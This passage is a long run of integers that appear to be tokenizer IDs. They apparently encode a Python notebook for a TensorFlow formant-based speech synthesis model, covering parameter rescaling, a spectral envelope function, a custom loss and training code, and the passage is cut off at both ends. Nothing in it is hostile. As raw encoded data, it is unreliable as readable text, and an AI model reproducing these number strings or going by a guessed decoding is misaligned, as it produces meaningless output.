363, 1269, 883, 424, 3443, 1134, 313, 10745, 23860, 29892, 3719, 2103, 29892, 322, 28347, 29897, 508, 367, 10365, 287, 491, 278, 1404, 773, 278, 5285, 934, 29889, 450, 1881, 6287, 7111, 373, 278, 1962, 26229, 740, 310, 278, 1904, 313, 29911, 4590, 29918, 17923, 5667, 8098, 416, 591, 7639, 287, 411, 5608, 29892, 10345, 29882, 29892, 4964, 4530, 29892, 322, 830, 29931, 29965, 29892, 541, 1476, 393, 4365, 29885, 3398, 5491, 1736, 1900, 29889, 259, 13, 29937, 1678, 13, 29937, 8695, 29901, 29871, 13, 29937, 334, 1094, 3342, 491, 278, 671, 310, 278, 15886, 29889, 5451, 2400, 29892, 445, 740, 8249, 278, 1962, 310, 278, 1904, 304, 367, 297, 278, 1797, 3579, 29943, 29896, 383, 29906, 383, 29941, 2023, 350, 29896, 350, 29906, 350, 29941, 2023, 319, 29896, 319, 29906, 319, 29941, 13035, 1068, 313, 4716, 1122, 367, 17602, 337, 2749, 4618, 491, 3579, 11294, 29918, 5325, 580, 1068, 467, 29871, 13, 29937, 334, 960, 830, 29931, 29965, 338, 1304, 408, 278, 26229, 740, 29892, 278, 883, 424, 7472, 1819, 3342, 491, 274, 16434, 29889, 12648, 29943, 1525, 29984, 29892, 274, 16434, 29889, 12648, 29933, 29956, 29892, 322, 274, 16434, 29889, 12648, 19297, 674, 367, 17262, 29889, 960, 5608, 338, 1304, 29892, 1716, 1375, 2946, 322, 5256, 29874, 526, 17262, 29889, 13, 29937, 334, 910, 740, 338, 4312, 363, 17983, 322, 738, 5434, 671, 310, 278, 1904, 313, 4149, 1449, 29871, 3579, 11294, 29918, 5325, 580, 1068, 2400, 467, 13, 13, 29937, 512, 29961, 4514, 29901, 13, 13, 13, 1753, 679, 29918, 690, 29883, 744, 29918, 9144, 29898, 16859, 1125, 13, 1678, 732, 13264, 29889, 2220, 29898, 2080, 29918, 4530, 1535, 7607, 13264, 29889, 29911, 6073, 10299, 29898, 12181, 11759, 8516, 29892, 274, 16434, 29889, 29940, 16320, 29909, 4345, 1402, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 511, 876, 13, 1678, 822, 620, 29883, 744, 29918, 7529, 29898, 7529, 1125, 13, 4706, 3005, 29939, 29879, 29892, 289, 5652, 29892, 626, 567, 353, 15886, 29889, 5451, 29898, 7529, 29892, 518, 16859, 29889, 3059, 5005, 29892, 274, 16434, 29889, 3059, 5005, 29892, 274, 16434, 29889, 29940, 22051, 27616, 9375, 1402, 9685, 10457, 29896, 29897, 13, 4706, 565, 274, 16434, 29889, 29911, 4590, 29918, 17923, 5667, 8098, 1275, 525, 18816, 29885, 3398, 2396, 1678, 396, 11618, 13880, 1819, 1546, 29871, 29900, 322, 29871, 29896, 13, 9651, 3005, 29939, 29879, 353, 274, 16434, 29889, 16173, 29943, 1525, 29984, 718, 313, 29888, 7971, 29879, 334, 313, 16859, 29889, 12648, 29943, 1525, 29984, 448, 274, 16434, 29889, 16173, 29943, 1525, 29984, 876, 13, 9651, 289, 5652, 353, 274, 16434, 29889, 16173, 29933, 29956, 718, 313, 29890, 5652, 334, 313, 16859, 29889, 12648, 29933, 29956, 448, 274, 16434, 29889, 16173, 29933, 29956, 876, 13, 9651, 626, 567, 353, 274, 16434, 29889, 16173, 19297, 718, 313, 15092, 334, 313, 16859, 29889, 12648, 19297, 448, 274, 16434, 29889, 16173, 19297, 876, 13, 4706, 25342, 274, 16434, 29889, 29911, 4590, 29918, 17923, 5667, 8098, 1275, 525, 2695, 4530, 29915, 470, 274, 16434, 29889, 29911, 4590, 29918, 17923, 5667, 8098, 1275, 525, 13161, 29882, 2396, 29871, 396, 11618, 13880, 1819, 1546, 448, 29896, 322, 29871, 29896, 13, 9651, 3005, 29939, 29879, 353, 274, 16434, 29889, 16173, 29943, 1525, 29984, 718, 5135, 29888, 7971, 29879, 718, 29871, 29896, 29889, 29900, 29897, 334, 5135, 16859, 29889, 12648, 29943, 1525, 29984, 448, 274, 16434, 29889, 16173, 29943, 1525, 29984, 29897, 847, 29871, 29906, 29889, 29900, 876, 13, 9651, 289, 5652, 353, 274, 16434, 29889, 16173, 29933, 29956, 718, 5135, 29890, 5652, 718, 29871, 29896, 29889, 29900, 29897, 334, 5135, 16859, 29889, 12648, 29933, 29956, 448, 274, 16434, 29889, 16173, 29933, 29956, 29897, 847, 29871, 29906, 29889, 29900, 876, 13, 9651, 626, 567, 353, 274, 16434, 29889, 16173, 19297, 718, 5135, 15092, 718, 29871, 29896, 29889, 29900, 29897, 334, 5135, 16859, 29889, 12648, 19297, 448, 274, 16434, 29889, 16173, 19297, 29897, 847, 29871, 29906, 29889, 29900, 876, 13, 4706, 25342, 274, 16434, 29889, 29911, 4590, 29918, 17923, 5667, 8098, 1275, 525, 2674, 29884, 2396, 259, 396, 11618, 13880, 1819, 310, 29871, 29900, 470, 7621, 13, 9651, 3005, 29939, 29879, 353, 3005, 29939, 29879, 718, 274, 16434, 29889, 16173, 29943, 1525, 29984, 13, 9651, 289, 5652, 353, 289, 5652, 718, 274, 16434, 29889, 16173, 29933, 29956, 13, 9651, 626, 567, 353, 626, 567, 718, 274, 16434, 29889, 16173, 19297, 13, 4706, 736, 3005, 29939, 29879, 29892, 289, 5652, 29892, 626, 567, 13, 268, 13, 1678, 736, 620, 29883, 744, 29918, 7529, 13, 13, 13, 29937, 835, 365, 2209, 6680, 13, 29937, 29871, 13, 29937, 450, 3168, 1304, 304, 10272, 278, 6410, 526, 3342, 1244, 29889, 1334, 1898, 304, 2436, 278, 775, 577, 393, 372, 1033, 4386, 21833, 297, 23460, 6554, 313, 8132, 3580, 29931, 1001, 3040, 511, 10868, 3464, 313, 3166, 29871, 29900, 304, 18134, 29918, 2190, 1964, 21554, 3235, 29918, 29943, 1525, 29984, 511, 1353, 310, 883, 1934, 313, 29940, 22051, 27616, 9375, 511, 1353, 310, 9418, 29899, 689, 1934, 313, 29940, 29999, 1001, 3267, 511, 23161, 10104, 313, 29903, 4162, 1783, 29934, 5005, 29918, 25500, 6992, 9375, 511, 322, 278, 26229, 1134, 310, 278, 2186, 1904, 1962, 7546, 313, 29911, 4590, 29918, 17923, 5667, 8098, 467, 1152, 278, 323, 7833, 1806, 15729, 29892, 1438, 892, 599, 731, 4868, 4822, 599, 15729, 29901, 29871, 29896, 29953, 29968, 23460, 6554, 29892, 29871, 29900, 29899, 29947, 29968, 10868, 3464, 29892, 29871, 29953, 883, 1934, 29892, 29871, 29896, 5225, 29892, 29871, 29906, 29945, 29955, 29899, 3149, 6683, 336, 29892, 4365, 29885, 3398, 26229, 29889, 13, 13, 29937, 450, 3579, 689, 424, 580, 1068, 740, 4893, 278, 10868, 3579, 29943, 1068, 322, 3719, 2103, 3579, 29933, 1068, 310, 1269, 883, 424, 25383, 491, 278, 1904, 29892, 322, 16785, 263, 6590, 883, 424, 29901, 385, 1409, 310, 18272, 11174, 3579, 29882, 1068, 472, 1269, 10868, 9016, 3579, 29888, 1068, 297, 278, 18272, 3464, 472, 278, 2183, 10104, 313, 4149, 12345, 29876, 29889, 313, 29896, 29897, 310, 278, 8519, 29906, 29900, 29906, 29896, 5650, 467, 450, 3579, 21908, 9144, 580, 1068, 740, 18177, 1438, 491, 1009, 6590, 28347, 13879, 29892, 322, 4145, 1475, 963, 313, 18056, 5890, 470, 1933, 4821, 29892, 6590, 304, 3692, 372, 29915, 29879, 263, 22775, 470, 5225, 29897, 304, 7738, 263, 5608, 29899, 7052, 23161, 427, 21367, 29889, 13, 13, 29937, 512, 29961, 4514, 29901, 13, 13, 13, 1753, 679, 29918, 21908, 9144, 29918, 9891, 29898, 16859, 1125, 13, 1678, 1580, 29896, 353, 15886, 29889, 4384, 29898, 9302, 29889, 1915, 3493, 29898, 29900, 29889, 29900, 29892, 274, 16434, 29889, 12648, 29918, 2190, 1964, 21554, 3235, 29918, 29943, 1525, 29984, 29892, 274, 16434, 29889, 29903, 4162, 1783, 29934, 5005, 29918, 25500, 6992, 9375, 511, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 13, 1678, 732, 13264, 29889, 2220, 13, 1678, 822, 883, 424, 29898, 29888, 7971, 29892, 289, 29893, 29892, 302, 690, 1125, 13, 4706, 285, 735, 353, 15886, 29889, 18837, 29918, 6229, 29879, 29898, 29888, 7971, 29892, 9685, 10457, 29896, 29897, 13, 4706, 367, 29916, 353, 15886, 29889, 18837, 29918, 6229, 29879, 29898, 29890, 29893, 29892, 9685, 10457, 29896, 29897, 13, 4706, 289, 3044, 353, 367, 29916, 1068, 29906, 334, 29871, 29900, 29889, 29906, 29945, 13, 4706, 385, 398, 353, 285, 735, 1068, 29906, 718, 289, 3044, 268, 13, 4706, 396, 6550, 29896, 353, 15886, 29889, 4384, 29898, 9302, 29889, 1915, 3493, 29898, 29900, 29889, 29900, 29892, 274, 16434, 29889, 12648, 29918, 2190, 1964, 21554, 3235, 29918, 29943, 1525, 29984, 29892, 274, 16434, 29889, 29903, 4162, 1783, 29934, 5005, 29918, 25500, 6992, 9375, 511, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 4706, 1580, 29906, 353, 15886, 29889, 29873, 488, 29898, 6550, 29896, 29892, 518, 13264, 29889, 2311, 29898, 29888, 7971, 29897, 2314, 13, 4706, 1580, 353, 15886, 29889, 690, 14443, 29898, 6550, 29906, 29892, 21069, 29896, 29892, 302, 690, 29892, 274, 16434, 29889, 29903, 4162, 1783, 29934, 5005, 29918, 25500, 6992, 9375, 2314, 13, 4706, 3480, 6550, 353, 313, 6550, 448, 285, 735, 29897, 1068, 29906, 718, 289, 3044, 13, 4706, 3119, 3135, 353, 313, 6550, 718, 285, 735, 29897, 1068, 29906, 718, 289, 3044, 13, 4706, 883, 1934, 353, 385, 398, 847, 15886, 29889, 755, 29889, 3676, 29898, 10052, 6550, 334, 3119, 3135, 29897, 13, 4706, 736, 29898, 689, 1934, 29897, 13, 13, 1678, 396, 9842, 393, 325, 29873, 9144, 3639, 263, 365, 8895, 1718, 29899, 7052, 18272, 13, 1678, 565, 274, 16434, 29889, 29940, 29999, 1001, 3267, 1275, 29871, 29900, 29901, 13, 4706, 732, 13264, 29889, 2220, 13, 4706, 822, 325, 29873, 9144, 29898, 29888, 7971, 29879, 29892, 289, 5652, 29892, 626, 567, 1125, 13, 9651, 4853, 353, 15886, 29889, 18837, 29918, 6229, 29879, 29898, 15092, 29892, 9685, 10457, 29896, 29897, 13, 9651, 4853, 353, 29871, 29896, 29900, 29889, 29900, 3579, 313, 1165, 847, 29871, 29906, 29900, 29889, 29900, 29897, 259, 396, 13441, 1480, 22252, 8192, 304, 5608, 13, 9651, 1580, 29879, 353, 883, 424, 29898, 29888, 7971, 29879, 29892, 289, 5652, 29892, 274, 16434, 29889, 29940, 22051, 27616, 9375, 29897, 13, 9651, 2533, 6550, 353, 15886, 29889, 17469, 29918, 2083, 29898, 1165, 334, 1580, 29879, 29892, 9685, 353, 448, 29906, 29897, 13, 9651, 736, 2533, 6550, 13, 1678, 1683, 29901, 13, 4706, 732, 13264, 29889, 2220, 13, 4706, 822, 325, 29873, 9144, 29898, 29888, 7971, 29879, 29892, 289, 5652, 29892, 626, 567, 29892, 503, 29888, 7971, 29879, 29892, 22015, 5652, 1125, 13, 9651, 4853, 353, 15886, 29889, 18837, 29918, 6229, 29879, 29898, 15092, 29892, 9685, 10457, 29896, 29897, 13, 9651, 4853, 353, 29871, 29896, 29900, 29889, 29900, 3579, 313, 1165, 847, 29871, 29906, 29900, 29889, 29900, 29897, 259, 396, 13441, 1480, 22252, 8192, 304, 5608, 13, 9651, 285, 5965, 2395, 353, 4853, 334, 883, 424, 29898, 29888, 7971, 29879, 29892, 289, 5652, 29892, 274, 16434, 29889, 29940, 22051, 27616, 9375, 29897, 13, 9651, 2533, 5965, 2395, 353, 15886, 29889, 17469, 29918, 2083, 29898, 5847, 412, 2395, 29892, 9685, 353, 448, 29906, 29892, 3013, 6229, 29879, 29922, 5574, 29897, 13, 9651, 503, 5965, 2395, 353, 29871, 29896, 29889, 29900, 847, 883, 424, 29898, 29920, 29888, 7971, 29879, 29892, 22015, 5652, 29892, 274, 16434, 29889, 29940, 29999, 1001, 3267, 29897, 13, 9651, 599, 5965, 2395, 353, 15886, 29889, 17685, 4197, 2083, 5965, 2395, 29892, 503, 5965, 2395, 1402, 9685, 353, 448, 29906, 29897, 13, 9651, 11859, 5965, 2395, 353, 15886, 29889, 17469, 29918, 10633, 29898, 4293, 412, 2395, 29892, 9685, 353, 448, 29906, 29897, 13, 9651, 736, 11859, 5965, 2395, 13, 308, 13, 1678, 736, 325, 29873, 9144, 13, 13, 13, 29937, 9788, 29892, 278, 1904, 6410, 338, 12833, 411, 3579, 6341, 29918, 6758, 580, 1068, 29889, 3824, 29892, 278, 9853, 322, 5665, 13391, 526, 784, 23384, 29889, 1987, 278, 1881, 1904, 4128, 526, 620, 29883, 7943, 411, 3579, 690, 29883, 744, 29918, 7529, 580, 1068, 29889, 450, 883, 1934, 526, 6219, 964, 1248, 267, 322, 24786, 29892, 322, 2665, 304, 3579, 21908, 9144, 580, 1068, 304, 10272, 263, 5608, 29899, 7052, 23161, 427, 21367, 29889, 450, 427, 21367, 338, 769, 11543, 304, 316, 455, 6596, 6287, 29892, 322, 278, 23161, 6410, 338, 12833, 408, 278, 2099, 6862, 4328, 1546, 278, 5759, 427, 21367, 322, 278, 2441, 427, 21367, 29889, 13, 13, 29937, 960, 360, 2554, 29899, 23923, 23860, 365, 2209, 313, 23959, 6410, 5186, 304, 19262, 297, 25383, 883, 424, 10868, 975, 931, 29897, 338, 1641, 1304, 29892, 372, 338, 884, 12833, 1244, 29892, 7688, 287, 491, 278, 3579, 4571, 4198, 8851, 22530, 1068, 3443, 29892, 322, 2715, 304, 278, 23161, 6410, 304, 679, 278, 2186, 6410, 29889, 313, 4806, 884, 7639, 287, 411, 773, 19471, 29899, 6758, 411, 3719, 2103, 29879, 322, 22252, 8192, 29892, 541, 1906, 15729, 505, 1063, 443, 8698, 1319, 577, 2215, 1846, 13, 13, 29937, 512, 29961, 4514, 29901, 13, 13, 13, 1753, 679, 29918, 6341, 29918, 6758, 29898, 16859, 29892, 620, 29883, 744, 29918, 7529, 29892, 325, 29873, 9144, 1125, 13, 1678, 565, 274, 16434, 29889, 29940, 29999, 1001, 3267, 1275, 29871, 29900, 29901, 13, 4706, 732, 13264, 29889, 2220, 29898, 2080, 29918, 4530, 1535, 7607, 13264, 29889, 29911, 6073, 10299, 29898, 12181, 11759, 8516, 29892, 6213, 29892, 274, 16434, 29889, 29903, 4162, 1783, 29934, 5005, 29918, 25500, 6992, 9375, 1402, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 511, 13, 462, 462, 268, 15886, 29889, 29911, 6073, 10299, 29898, 12181, 11759, 8516, 29892, 6213, 29892, 274, 16434, 29889, 29940, 16320, 29909, 4345, 1402, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 4961, 13, 4706, 822, 2888, 29918, 6758, 29898, 5965, 2395, 29918, 2080, 29892, 8636, 29918, 11965, 1125, 13, 9651, 1580, 29879, 29918, 2080, 353, 15886, 29889, 690, 14443, 29898, 5965, 2395, 29918, 2080, 29892, 21069, 29896, 29892, 274, 16434, 29889, 29903, 4162, 1783, 29934, 5005, 29918, 25500, 6992, 9375, 2314, 13, 9651, 8636, 29918, 11965, 353, 15886, 29889, 690, 14443, 29898, 7529, 29918, 11965, 29892, 21069, 29896, 29892, 274, 16434, 29889, 29940, 16320, 29909, 4345, 2314, 13, 9651, 3005, 29939, 29879, 29892, 289, 5652, 29892, 626, 567, 353, 620, 29883, 744, 29918, 7529, 29898, 7529, 29918, 11965, 29897, 13, 9651, 1580, 29879, 29918, 11965, 353, 325, 29873, 9144, 29898, 29888, 7971, 29879, 29892, 289, 5652, 29892, 626, 567, 29897, 13, 9651, 1580, 29879, 29918, 11965, 353, 29871, 29906, 29900, 29889, 29900, 334, 15886, 29889, 755, 29889, 1188, 29898, 16859, 29889, 29943, 3927, 1955, 718, 1580, 29879, 29918, 11965, 29897, 847, 15886, 29889, 755, 29889, 1188, 29898, 29896, 29900, 29889, 29900, 29897, 13, 9651, 286, 344, 353, 15886, 29889, 755, 29889, 17469, 29918, 12676, 29898, 13264, 29889, 17619, 29898, 5965, 2395, 29918, 2080, 448, 1580, 29879, 29918, 11965, 876, 396, 6758, 975, 3353, 9853, 13, 9651, 285, 12765, 353, 15886, 29889, 755, 29889, 17469, 29918, 12676, 29898, 13264, 29889, 6897, 29898, 29888, 7971, 29879, 29961, 29896, 17531, 448, 3005, 29939, 29879, 7503, 29899, 29896, 12622, 13, 9651, 396, 6448, 2593, 353, 15886, 29889, 755, 29889, 17469, 29918, 12676, 29898, 13264, 29889, 6897, 29898, 29890, 5652, 29961, 29896, 17531, 448, 289, 5652, 7503, 29899, 29896, 12622, 13, 9651, 396, 328, 2593, 353, 15886, 29889, 755, 29889, 17469, 29918, 12676, 29898, 13264, 29889, 6897, 29898, 15092, 29961, 29896, 17531, 448, 626, 567, 7503, 29899, 29896, 12622, 13, 9651, 396, 2457, 313, 29885, 344, 718, 274, 16434, 29889, 4571, 4198, 8851, 22530, 334, 313, 11512, 2593, 718, 289, 12765, 718, 29871, 29906, 29945, 29889, 29900, 334, 594, 2593, 876, 13, 9651, 736, 313, 29885, 344, 718, 274, 16434, 29889, 4571, 4198, 8851, 22530, 334, 285, 12765, 29897, 13, 13, 1678, 1683, 29901, 259, 13, 4706, 732, 13264, 29889, 2220, 29898, 2080, 29918, 4530, 1535, 7607, 13264, 29889, 29911, 6073, 10299, 29898, 12181, 11759, 8516, 29892, 6213, 29892, 274, 16434, 29889, 29903, 4162, 1783, 29934, 5005, 29918, 25500, 6992, 9375, 1402, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 511, 13, 462, 462, 268, 15886, 29889, 29911, 6073, 10299, 29898, 12181, 11759, 8516, 29892, 6213, 29892, 274, 16434, 29889, 29940, 16320, 29909, 4345, 1402, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 4961, 13, 4706, 822, 2888, 29918, 6758, 29898, 5965, 2395, 29918, 2080, 29892, 8636, 29918, 11965, 1125, 13, 9651, 1580, 29879, 29918, 2080, 353, 15886, 29889, 690, 14443, 29898, 5965, 2395, 29918, 2080, 29892, 21069, 29896, 29892, 274, 16434, 29889, 29903, 4162, 1783, 29934, 5005, 29918, 25500, 6992, 9375, 2314, 13, 9651, 8636, 29918, 11965, 353, 15886, 29889, 690, 14443, 29898, 7529, 29918, 11965, 29892, 21069, 29896, 29892, 274, 16434, 29889, 29940, 16320, 29909, 4345, 2314, 13, 9651, 3005, 29939, 29879, 29892, 289, 5652, 29892, 626, 567, 353, 620, 29883, 744, 29918, 7529, 29898, 7529, 29918, 11965, 29897, 13, 9651, 282, 29888, 7971, 29879, 29892, 503, 29888, 7971, 29879, 353, 15886, 29889, 5451, 29898, 29888, 7971, 29879, 29892, 518, 16859, 29889, 29940, 22051, 27616, 9375, 29892, 274, 16434, 29889, 29940, 29999, 1001, 3267, 1402, 9685, 10457, 29896, 29897, 13, 9651, 282, 29890, 5652, 29892, 22015, 5652, 353, 15886, 29889, 5451, 29898, 29890, 5652, 29892, 518, 16859, 29889, 29940, 22051, 27616, 9375, 29892, 274, 16434, 29889, 29940, 29999, 1001, 3267, 1402, 9685, 10457, 29896, 29897, 13, 9651, 1580, 29879, 29918, 11965, 353, 325, 29873, 9144, 29898, 7810, 7971, 29879, 29892, 282, 29890, 5652, 29892, 626, 567, 29892, 503, 29888, 7971, 29879, 29892, 22015, 5652, 29897, 13, 9651, 1580, 29879, 29918, 11965, 353, 29871, 29906, 29900, 29889, 29900, 334, 15886, 29889, 755, 29889, 1188, 29898, 16859, 29889, 29943, 3927, 1955, 718, 1580, 29879, 29918, 11965, 29897, 847, 15886, 29889, 755, 29889, 1188, 29898, 29896, 29900, 29889, 29900, 29897, 13, 9651, 286, 344, 353, 15886, 29889, 755, 29889, 17469, 29918, 12676, 29898, 13264, 29889, 17619, 29898, 5965, 2395, 29918, 2080, 448, 1580, 29879, 29918, 11965, 876, 396, 6758, 975, 3353, 9853, 13, 9651, 285, 12765, 353, 15886, 29889, 755, 29889, 17469, 29918, 12676, 29898, 13264, 29889, 6897, 29898, 29888, 7971, 29879, 29961, 29896, 17531, 448, 3005, 29939, 29879, 7503, 29899, 29896, 12622, 13, 9651, 396, 6448, 2593, 353, 15886, 29889, 755, 29889, 17469, 29918, 12676, 29898, 13264, 29889, 6897, 29898, 29890, 5652, 29961, 29896, 17531, 448, 289, 5652, 7503, 29899, 29896, 12622, 13, 9651, 396, 328, 2593, 353, 15886, 29889, 755, 29889, 17469, 29918, 12676, 29898, 13264, 29889, 6897, 29898, 15092, 29961, 29896, 17531, 448, 626, 567, 7503, 29899, 29896, 12622, 13, 9651, 396, 2457, 313, 29885, 344, 718, 274, 16434, 29889, 4571, 4198, 8851, 22530, 334, 313, 11512, 2593, 718, 289, 12765, 718, 29871, 29906, 29945, 29889, 29900, 334, 594, 2593, 876, 13, 9651, 736, 313, 29885, 344, 718, 274, 16434, 29889, 4571, 4198, 8851, 22530, 334, 285, 12765, 29897, 13, 268, 13, 1678, 736, 2888, 29918, 6758, 13, 13, 13, 29937, 835, 8125, 5023, 13, 29937, 29871, 13, 29937, 3579, 7922, 29918, 4299, 580, 1068, 17645, 278, 1904, 29915, 29879, 11258, 29892, 6410, 740, 29892, 322, 5994, 3950, 1434, 22520, 372, 29892, 769, 14677, 15837, 13964, 29889, 512, 1749, 323, 7833, 1806, 15729, 29892, 591, 7371, 278, 1900, 2582, 411, 925, 263, 2323, 365, 1254, 29924, 7546, 310, 29871, 29945, 29896, 29906, 10340, 5643, 491, 263, 2323, 360, 1947, 7546, 29892, 541, 278, 1404, 1122, 7639, 411, 4417, 901, 15359, 310, 2845, 1134, 29892, 322, 6480, 1009, 15786, 322, 26229, 3168, 29892, 3025, 278, 4944, 5285, 934, 29889, 450, 11060, 25614, 29918, 29934, 3040, 1304, 491, 278, 11783, 5994, 3950, 508, 884, 367, 10365, 287, 313, 4381, 29871, 29900, 29889, 29900, 29900, 29900, 29896, 467, 13, 13, 29937, 512, 29961, 4514, 29901, 13, 13, 13, 1753, 4529, 29918, 4299, 29898, 16859, 1125, 13, 13, 1678, 396, 14683, 310, 1904, 11258, 29901, 13, 1678, 1904, 353, 15886, 29889, 3946, 294, 29889, 16941, 2556, 580, 13, 1678, 1904, 29889, 1202, 29898, 13264, 29889, 3946, 294, 29889, 4290, 29898, 12181, 7607, 8516, 29892, 274, 16434, 29889, 29903, 4162, 1783, 29934, 5005, 29918, 25500, 6992, 9375, 4961, 13, 1678, 363, 474, 297, 3464, 29898, 16859, 29889, 29931, 1254, 29924, 29918, 18799, 23598, 1125, 13, 4706, 1904, 29889, 1202, 29898, 13264, 29889, 3946, 294, 29889, 29277, 29889, 29931, 1254, 29924, 29898, 16859, 29889, 29931, 1254, 29924, 29918, 3904, 1806, 29903, 29892, 736, 29918, 6831, 2063, 29922, 5574, 876, 13, 1678, 363, 474, 297, 3464, 29898, 16859, 29889, 29928, 1430, 1660, 29918, 18799, 23598, 448, 29871, 29896, 1125, 13, 4706, 1904, 29889, 1202, 29898, 13264, 29889, 3946, 294, 29889, 29277, 29889, 29928, 1947, 29898, 16859, 29889, 29928, 1430, 1660, 29918, 3904, 1806, 29903, 29892, 26229, 29922, 16859, 29889, 29928, 1430, 1660, 29918, 17923, 5667, 8098, 876, 13, 1678, 1904, 29889, 1202, 29898, 13264, 29889, 3946, 294, 29889, 29277, 29889, 29928, 1947, 29898, 16859, 29889, 29940, 16320, 29909, 4345, 29892, 26229, 29922, 16859, 29889, 29911, 4590, 29918, 17923, 5667, 8098, 876, 13, 13, 1678, 396, 10605, 278, 1904, 29915, 29879, 6410, 740, 338, 3342, 1434, 278, 1904, 338, 13126, 29889, 13, 1678, 620, 29883, 744, 29918, 7529, 353, 679, 29918, 690, 29883, 744, 29918, 9144, 29898, 16859, 29897, 13, 1678, 590, 21908, 9144, 353, 679, 29918, 21908, 9144, 29918, 9891, 29898, 16859, 29897, 13, 1678, 590, 6758, 353, 679, 29918, 6341, 29918, 6758, 29898, 16859, 29892, 620, 29883, 744, 29918, 7529, 29892, 590, 21908, 9144, 29897, 13, 13, 1678, 1904, 29889, 12198, 29898, 13, 4706, 5994, 3950, 29922, 13264, 29889, 3946, 294, 29889, 20640, 19427, 29889, 3253, 314, 29898, 16859, 29889, 1307, 25614, 29918, 29934, 3040, 511, 13, 4706, 6410, 29922, 1357, 6758, 29892, 21556, 11759, 1357, 6758, 29962, 13, 1678, 1723, 13, 13, 1678, 396, 26289, 13964, 29901, 13, 1678, 1596, 14182, 29876, 3195, 1881, 8267, 29901, 21313, 1118, 24335, 426, 1800, 1642, 4830, 29898, 16859, 29889, 29933, 14789, 29918, 14226, 29892, 274, 16434, 29889, 1660, 13356, 1430, 4741, 29918, 19433, 29892, 274, 16434, 29889, 29903, 4162, 1783, 29934, 5005, 29918, 25500, 6992, 9375, 876, 13, 1678, 1596, 703, 3195, 1962, 8267, 29901, 21313, 1118, 24335, 426, 1800, 1642, 4830, 29898, 16859, 29889, 29933, 14789, 29918, 14226, 29892, 274, 16434, 29889, 1660, 13356, 1430, 4741, 29918, 19433, 29892, 274, 16434, 29889, 29940, 16320, 29909, 4345, 876, 13, 1678, 1904, 29889, 7727, 580, 13, 1678, 10876, 29889, 25393, 29889, 23126, 580, 13, 268, 13, 1678, 736, 1904, 13, 13, 13, 29937, 835, 8125, 6694, 13, 13, 29937, 3579, 14968, 29918, 4299, 580, 1068, 947, 278, 1904, 6694, 29889, 7133, 6694, 29892, 278, 1904, 18177, 526, 7160, 1156, 1432, 21502, 305, 393, 13880, 263, 8845, 6410, 5224, 1135, 393, 310, 738, 3517, 21502, 305, 29889, 3382, 1379, 526, 16370, 2745, 278, 1900, 8845, 6410, 756, 451, 16710, 1156, 274, 16434, 29889, 29925, 1299, 29902, 1430, 4741, 21502, 12168, 29892, 470, 263, 7472, 310, 274, 16434, 29889, 29923, 13152, 3210, 29903, 21502, 12168, 29889, 960, 727, 338, 694, 8845, 731, 29892, 278, 6694, 731, 6410, 338, 1304, 363, 29652, 2012, 29889, 13, 13, 29937, 960, 15149, 9806, 29918, 1525, 29911, 4717, 1177, 338, 5852, 322, 727, 338, 472, 3203, 697, 758, 29899, 735, 15423, 1904, 297, 278, 1904, 3884, 29892, 278, 716, 342, 7160, 1904, 674, 367, 337, 15638, 29892, 322, 6694, 674, 5839, 701, 988, 372, 2175, 1283, 411, 393, 1904, 29889, 13, 13, 29937, 450, 1661, 29899, 13318, 4733, 526, 11132, 29892, 6521, 5012, 18476, 29918, 5607, 8032, 29918, 20387, 8547, 338, 731, 304, 7700, 29889, 13, 13, 29937, 512, 29961, 4514, 29901, 13, 13, 13, 1753, 7945, 29918, 4299, 29898, 4299, 29892, 1904, 3972, 29892, 274, 16434, 29892, 7945, 29918, 29881, 842, 29892, 659, 29918, 29881, 842, 29922, 8516, 1125, 13, 13, 1678, 1423, 9748, 353, 13149, 29889, 23705, 29898, 1545, 2495, 381, 718, 376, 5515, 29889, 2248, 1159, 13, 1678, 565, 7431, 29898, 3198, 9748, 29897, 1405, 29871, 29900, 322, 274, 16434, 29889, 1964, 27998, 29918, 1525, 29911, 4717, 1177, 322, 451, 274, 16434, 29889, 4330, 10810, 3904, 29901, 13, 4706, 9281, 353, 15886, 29889, 14968, 29889, 12333, 29918, 3198, 3149, 29898, 1545, 2495, 381, 29897, 13, 4706, 1904, 29889, 1359, 29918, 705, 5861, 29898, 12333, 29897, 13, 4706, 1596, 14182, 29876, 29934, 7078, 9382, 758, 29899, 735, 15423, 1904, 613, 9281, 29892, 376, 1454, 4340, 6694, 23157, 13, 4706, 1833, 29918, 1022, 2878, 353, 938, 29898, 12333, 14352, 29941, 29901, 2314, 13, 1678, 1683, 29901, 13, 4706, 1833, 29918, 1022, 2878, 353, 29871, 29900, 13, 13, 1678, 565, 659, 29918, 29881, 842, 338, 6213, 29901, 13, 4706, 590, 3712, 2105, 353, 525, 6341, 29918, 6758, 29915, 13, 1678, 1683, 29901, 13, 4706, 590, 3712, 2105, 353, 525, 791, 29918, 6341, 29918, 6758, 29915, 13, 13, 1678, 1904, 29918, 3198, 3149, 29918, 14035, 353, 15886, 29889, 3946, 294, 29889, 14035, 29879, 29889, 3195, 5596, 3149, 29898, 13, 4706, 934, 2084, 29922, 1545, 2495, 381, 718, 5591, 4299, 29889, 1022, 2878, 29912, 1022, 2878, 29901, 29900, 29941, 29881, 17671, 13, 4706, 4078, 29918, 13318, 29918, 6194, 29922, 5574, 29892, 4078, 29918, 705, 5861, 29918, 6194, 29922, 5574, 29892, 13, 4706, 11819, 29922, 29885, 962, 265, 2105, 29892, 4464, 2433, 1195, 1495, 13, 13, 1678, 4688, 29918, 7864, 3262, 29918, 14035, 353, 15886, 29889, 3946, 294, 29889, 14035, 29879, 29889, 29923, 279, 368, 20754, 3262, 29898, 13, 4706, 282, 24701, 29922, 16859, 29889, 29925, 1299, 29902, 1430, 4741, 29892, 11819, 29922, 29885, 962, 265, 2105, 29892, 4464, 2433, 1195, 1495, 13, 13, 1678, 565, 274, 16434, 29889, 4330, 10810, 3904, 29901, 13, 4706, 26646, 359, 537, 353, 29871, 29896, 13, 1678, 1683, 29901, 13, 4706, 26646, 359, 537, 353, 29871, 29906, 13, 13, 1678, 1596, 14182, 29876, 17946, 6694, 29901, 1159, 13, 1678, 10876, 29889, 25393, 29889, 23126, 580, 13, 1678, 1904, 29889, 9202, 29898, 14968, 29918, 29881, 842, 29892, 21502, 12168, 29922, 16859, 29889, 